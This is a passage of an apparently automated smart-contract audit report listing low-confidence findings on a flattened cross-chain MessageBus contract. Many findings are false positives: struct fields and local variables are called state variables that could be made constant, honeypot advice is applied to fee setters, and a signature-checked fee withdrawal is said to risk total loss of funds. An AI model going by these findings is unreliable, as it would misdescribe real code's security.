| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```

412 |         PegWithdrawV2 // withdraw from original token vault v2
413 |     }
414 |
415 |     struct TransferInfo {
416 |         TransferType t;
>> 417 |         address sender;
418 |         address receiver;
419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-153. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:418 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```
413 |     }
414 |
415 |     struct TransferInfo {
416 |         TransferType t;
417 |         address sender;
>> 418 |         address receiver;
419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;
423 |         bytes32 refId;
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10



## F-154. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:419 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```
414 |  
415 |     struct TransferInfo {  
416 |         TransferType t;  
417 |         address sender;  
418 |         address receiver;  
>> 419 |         address token;  
420 |         uint256 amount;  
421 |         uint64 seqnum; // only needed for LqWithdraw  
422 |         uint64 srcChainId;  
423 |         bytes32 refId;  
424 |     }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-155. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:420 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```

415 |     struct TransferInfo {
416 |         TransferType t;
417 |         address sender;
418 |         address receiver;
419 |         address token;
>> 420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;
423 |         bytes32 refId;
424 |     }
425 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-156. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:423 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```

418 |         address receiver;
419 |         address token;
420 |         uint256 amount;
421 |         uint64 seqnum; // only needed for LqWithdraw
422 |         uint64 srcChainId;
>> 423 |         bytes32 refId;
424 |     }
425 |
426 |     struct RouteInfo {
427 |         address sender;
428 |         address receiver;

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-157. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:427 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```

422 |         uint64 srcChainId;
423 |         bytes32 refId;
424 |     }
425 |
426 |     struct RouteInfo {
>> 427 |         address sender;
428 |         address receiver;
429 |         uint64 srcChainId;
430 |     }
431 |
432 |     enum TxStatus {

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-158. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:428 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```
423 |         bytes32 refId;  
424 |     }  
425 |  
426 |     struct RouteInfo {  
427 |         address sender;  
>> 428 |         address receiver;  
429 |         uint64 srcChainId;  
430 |     }  
431 |  
432 |     enum TxStatus {  
433 |         Null,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-159. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:662 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```
657 |     }
658 |     return false;
659 | }
660 |
661 | function verifyTransfer(TransferInfo calldata _transfer) private view
returns (bytes32) {
>> 662 |     bytes32 transferId;
663 |     address bridgeAddr;
664 |     if (_transfer.t == TransferType.LqSend) {
665 |         transferId = keccak256(
666 |             abi.encodePacked(
667 |                 _transfer.sender,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-160. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:663 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: State variable could be immutable or constant

### Vulnerable Code

```

658 |         return false;
659 |     }
660 |
661 |     function verifyTransfer(TransferInfo calldata _transfer) private view
returns (bytes32) {
662 |         bytes32 transferId;
>> 663 |         address bridgeAddr;
664 |         if (_transfer.t == TransferType.LqSend) {
665 |             transferId = keccak256(
666 |                 abi.encodePacked(
667 |                     _transfer.sender,
668 |                     _transfer.receiver,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add 'immutable' or 'constant' if value doesn't change

### References

- OWASP Smart Contract Top 10

## F-161. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:256 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```
251 |     }
252 |
253 |     /**
254 |      * @dev Returns the address of the current owner.
255 |      */
>> 256 |     function owner() public view virtual returns (address) {
257 |         return _owner;
258 |     }
259 |
260 |     /**
261 |      * @dev Throws if called by any account other than the owner.
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10



## F-162. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:272 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```
267 |  
268 | /**  
269 |  * @dev Transfers ownership of the contract to a new account (`newOwner`).  
270 |  * Can only be called by the current owner.  
271 |  */  
>> 272 | function transferOwnership(address newOwner) public virtual onlyOwner {  
273 |     require(newOwner != address(0), "Ownable: new owner is the zero  
address");  
274 |     _setOwner(newOwner);  
275 | }  
276 |  
277 | function _setOwner(address newOwner) private {
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-163. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:385 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```
380 | /**
381 |  * @notice Calculates the required fee for the message.
382 |  * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
383 |  * @return The required fee.
384 |  */
>> 385 | function calcFee(bytes calldata _message) public view returns (uint256) {
386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 | // ----- Admin -----
390 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-164. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:762 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```
757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-165. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:768 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-166. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:774 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-167. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:780 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-168. gas\_optimization

| PROPERTY    | VALUE                        |
|-------------|------------------------------|
| Severity    | LOW                          |
| Category    |                              |
| CVSS Score  | 3.1                          |
| Confidence  | 33%                          |
| Location    | flattened_MessageBus.sol:786 |
| Status      | Open (33% conf.)             |
| Detected By | gas_analyzer                 |

### Description

Gas optimization opportunity detected: Public function that could be external

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Change 'public' to 'external' if not called internally

### References

- OWASP Smart Contract Top 10

## F-169. Token Security Issue

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 42%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:391 |
| Status      | Open (42% conf.)                                        |
| Detected By | advanced_detector                                       |

### Description

Fee can be changed after deployment - fee manipulation risk. Found at line 391.

### Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

### References

- <https://tokensniffer.com/>
- <https://honeypot.is/>



## F-170. Token Security Issue

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 42%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:396 |
| Status      | Open (42% conf.)                                        |
| Detected By | advanced_detector                                       |

### Description

Fee can be changed after deployment - fee manipulation risk. Found at line 396.

### Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

### References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

## F-171. High Centralization Risk

| PROPERTY    | VALUE                                                    |
|-------------|----------------------------------------------------------|
| Severity    | MEDIUM                                                   |
| Category    |                                                          |
| CVSS Score  | 3.1                                                      |
| Confidence  | 42%                                                      |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:None |
| Status      | Open (42% conf.)                                         |
| Detected By | advanced_detector                                        |

### Description

Contract has 10 owner-only functions. Significant centralization risk.

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Consider multi-sig wallet, timelocks, or DAO governance for critical functions.

### References

- <https://www.certik.com/resources/blog/centralization-risks>

## F-172. Centralization Risk

| PROPERTY   | VALUE  |
|------------|--------|
| Severity   | MEDIUM |
| Category   |        |
| CVSS Score | 3.1    |
| Confidence | 42%    |

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:391 |
| Status      | Open (42% conf.)                                        |
| Detected By | advanced_detector                                       |

### Description

Owner can change fees - user fund risk. Found at line 391.

### Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add timelock or multi-sig requirement for this function.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-173. Centralization Risk

| PROPERTY   | VALUE                                                   |
|------------|---------------------------------------------------------|
| Severity   | MEDIUM                                                  |
| Category   |                                                         |
| CVSS Score | 3.1                                                     |
| Confidence | 42%                                                     |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:396 |

| PROPERTY    | VALUE             |
|-------------|-------------------|
| Status      | Open (42% conf.)  |
| Detected By | advanced_detector |

### Description

Owner can change fees - user fund risk. Found at line 396.

### Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add timelock or multi-sig requirement for this function.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-174. missing\_storage\_gap

| PROPERTY   | VALUE                                                   |
|------------|---------------------------------------------------------|
| Severity   | MEDIUM                                                  |
| Category   |                                                         |
| CVSS Score | 3.1                                                     |
| Confidence | 33%                                                     |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:286 |
| Status     | Open (33% conf.)                                        |

| PROPERTY           | VALUE                 |
|--------------------|-----------------------|
| <b>Detected By</b> | upgradability_checker |

### Description

Base contract missing `__gap` storage variable - future upgrades may cause storage collision

### Vulnerable Code

```

281 |     }
282 | }
283 |
284 | // MessageBus/src/message/messagebus/MessageBusSender.sol
285 |
>> 286 | contract MessageBusSender is Ownable {
287 |     ISigsVerifier public immutable sigsVerifier;
288 |
289 |     uint256 public feeBase;
290 |     uint256 public feePerByte;
291 |     mapping(address => uint256) public withdrawnFees;

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add `uint256[50] private __gap;` at the end of each base contract

### References

- OWASP Smart Contract Top 10

## F-175. Bridge function may trust msg.sender without verification

| PROPERTY          | VALUE                                                   |
|-------------------|---------------------------------------------------------|
| <b>Severity</b>   | MEDIUM                                                  |
| <b>Category</b>   |                                                         |
| <b>CVSS Score</b> | 3.1                                                     |
| <b>Confidence</b> | 33%                                                     |
| <b>Location</b>   | /home/hero/audit_workspace/flattened_MessageBus.sol:352 |
| <b>Status</b>     | Open (33% conf.)                                        |

| PROPERTY           | VALUE      |
|--------------------|------------|
| <b>Detected By</b> | crosschain |

## Description

Cross-chain message or transaction not properly verified

## Vulnerable Code

```

347 |         require(msg.value >= minFee, "Insufficient fee");
348 |         // SGN needs to verify
349 |         // 1. msg.sender matches sender of the src transfer
350 |         // 2. dstChainId matches dstChainId of the src transfer
351 |         // 3. bridge is either liquidity bridge, peg src vault, or peg dst
bridge
>> 352 |         emit MessageWithTransfer(msg.sender, _receiver, _dstChainId,
_srcBridge, _srcTransferId, _message, msg.value);
353 |     }
354 |
355 |     /**
356 |      * @notice Withdraws message fee in the form of native gas token.
357 |      * @param _account The address receiving the fee.

```

## Impact Analysis

Attackers can forge messages to drain bridge funds

## Recommendation

Verify the origin of cross-chain messages

## References

- OWASP Smart Contract Top 10

## F-176. Value transfer without validation

| PROPERTY           | VALUE                                                   |
|--------------------|---------------------------------------------------------|
| <b>Severity</b>    | MEDIUM                                                  |
| <b>Category</b>    |                                                         |
| <b>CVSS Score</b>  | 3.1                                                     |
| <b>Confidence</b>  | 33%                                                     |
| <b>Location</b>    | /home/hero/audit_workspace/flattened_MessageBus.sol:376 |
| <b>Status</b>      | Open (33% conf.)                                        |
| <b>Detected By</b> | crosschain                                              |

## Description

Bridge contract funds can be drained

## Vulnerable Code

```

371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
>> 376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");
378 |     }
379 |
380 |     /**
381 |      * @notice Calculates the required fee for the message.

```

## Impact Analysis

Complete loss of bridged assets

## Recommendation

Validate transfer amounts against internal accounting

## References

- OWASP Smart Contract Top 10

## F-177. No finality check before allowing withdrawals

| PROPERTY    | VALUE                                                 |
|-------------|-------------------------------------------------------|
| Severity    | MEDIUM                                                |
| Category    |                                                       |
| CVSS Score  | 3.1                                                   |
| Confidence  | 33%                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:? |
| Status      | Open (33% conf.)                                      |
| Detected By | crosschain                                            |

## Description

Incorrect assumptions about transaction finality

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

Reorganization attacks, double-spending

## Recommendation

Consider requiring minimum confirmations before processing withdrawals

## References

- OWASP Smart Contract Top 10

## F-178. No pause mechanism detected

| PROPERTY    | VALUE                                                 |
|-------------|-------------------------------------------------------|
| Severity    | MEDIUM                                                |
| Category    |                                                       |
| CVSS Score  | 3.1                                                   |
| Confidence  | 33%                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:? |
| Status      | Open (33% conf.)                                      |
| Detected By | crosschain                                            |

## Description

Missing or vulnerable emergency withdrawal mechanism

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

Fund lock or unauthorized emergency access

## Recommendation

Implement pausable functionality for emergency situations

## References

- OWASP Smart Contract Top 10



## F-179. No emergency withdrawal mechanism

| PROPERTY    | VALUE                                                 |
|-------------|-------------------------------------------------------|
| Severity    | MEDIUM                                                |
| Category    |                                                       |
| CVSS Score  | 3.1                                                   |
| Confidence  | 33%                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:? |
| Status      | Open (33% conf.)                                      |
| Detected By | crosschain                                            |

### Description

Missing or vulnerable emergency withdrawal mechanism

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

Fund lock or unauthorized emergency access

### Recommendation

Consider adding emergency fund recovery for stuck assets

### References

- OWASP Smart Contract Top 10

## F-180. unverified\_relay\_message

| PROPERTY   | VALUE                                                  |
|------------|--------------------------------------------------------|
| Severity   | MEDIUM                                                 |
| Category   |                                                        |
| CVSS Score | 3.1                                                    |
| Confidence | 33%                                                    |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:16 |

| PROPERTY    | VALUE            |
|-------------|------------------|
| Status      | Open (33% conf.) |
| Detected By | bridge_monitor   |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

11 |         uint64 _dstChainId,
12 |         uint64 _nonce,
13 |         uint32 _maxSlippage
14 |     ) external;
15 |
>> 16 |     function relay(
17 |         bytes calldata _relayRequest,
18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-181. unverified\_relay\_message

| PROPERTY   | VALUE                                                  |
|------------|--------------------------------------------------------|
| Severity   | MEDIUM                                                 |
| Category   |                                                        |
| CVSS Score | 3.1                                                    |
| Confidence | 33%                                                    |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:56 |
| Status     | Open (33% conf.)                                       |

| PROPERTY           | VALUE          |
|--------------------|----------------|
| <b>Detected By</b> | bridge_monitor |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

51 |      *      the contract that implements this contract can safely assume
that the tokens will arrive before this
52 |      *      function is called.
53 |      * @param _srcChainId The source chain ID where the transfer is originated
from
54 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
55 |      */
>> 56 |      function executeMessageWithTransfer(
57 |          address _sender,
58 |          address _token,
59 |          uint256 _amount,
60 |          uint64 _srcChainId,
61 |          bytes calldata _message

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-182. unverified\_relay\_message

| PROPERTY          | VALUE                                                  |
|-------------------|--------------------------------------------------------|
| <b>Severity</b>   | MEDIUM                                                 |
| <b>Category</b>   |                                                        |
| <b>CVSS Score</b> | 3.1                                                    |
| <b>Confidence</b> | 33%                                                    |
| <b>Location</b>   | /home/hero/audit_workspace/flattened_MessageBus.sol:76 |
| <b>Status</b>     | Open (33% conf.)                                       |

| PROPERTY           | VALUE          |
|--------------------|----------------|
| <b>Detected By</b> | bridge_monitor |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

71 |      *      the contract that implements this contract can safely assume
that the tokens will arrive before this
72 |      *      function is called.
73 |      * @param _srcChainId The source chain ID where the transfer is originated
from
74 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
75 |      */
>> 76 |      function executeMessageWithTransferFallback(
77 |          address _sender,
78 |          address _token,
79 |          uint256 _amount,
80 |          uint64 _srcChainId,
81 |          bytes calldata _message

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-183. unverified\_relay\_message

| PROPERTY          | VALUE                                                  |
|-------------------|--------------------------------------------------------|
| <b>Severity</b>   | MEDIUM                                                 |
| <b>Category</b>   |                                                        |
| <b>CVSS Score</b> | 3.1                                                    |
| <b>Confidence</b> | 33%                                                    |
| <b>Location</b>   | /home/hero/audit_workspace/flattened_MessageBus.sol:90 |
| <b>Status</b>     | Open (33% conf.)                                       |

| PROPERTY           | VALUE          |
|--------------------|----------------|
| <b>Detected By</b> | bridge_monitor |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

85 |      * @notice Called by MessageBus (MessageBusReceiver) to process refund of
the original transfer from this contract
86 |      * @param _token The token address of the original transfer
87 |      * @param _amount The amount of the original transfer
88 |      * @param _message The same message associated with the original transfer
89 |      */
>> 90 |      function executeMessageWithTransferRefund(
91 |          address _token,
92 |          uint256 _amount,
93 |          bytes calldata _message
94 |      ) external payable returns (bool);
95 |

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-184. unverified\_relay\_message

| PROPERTY          | VALUE                                                   |
|-------------------|---------------------------------------------------------|
| <b>Severity</b>   | MEDIUM                                                  |
| <b>Category</b>   |                                                         |
| <b>CVSS Score</b> | 3.1                                                     |
| <b>Confidence</b> | 33%                                                     |
| <b>Location</b>   | /home/hero/audit_workspace/flattened_MessageBus.sol:102 |
| <b>Status</b>     | Open (33% conf.)                                        |

| PROPERTY           | VALUE          |
|--------------------|----------------|
| <b>Detected By</b> | bridge_monitor |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

    97 |      * @notice Called by MessageBus (MessageBusReceiver)
    98 |      * @param _sender The address of the source app contract
    99 |      * @param _srcChainId The source chain ID where the transfer is originated
from
    100 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
    101 |      */
>> 102 |      function executeMessage(
    103 |          address _sender,
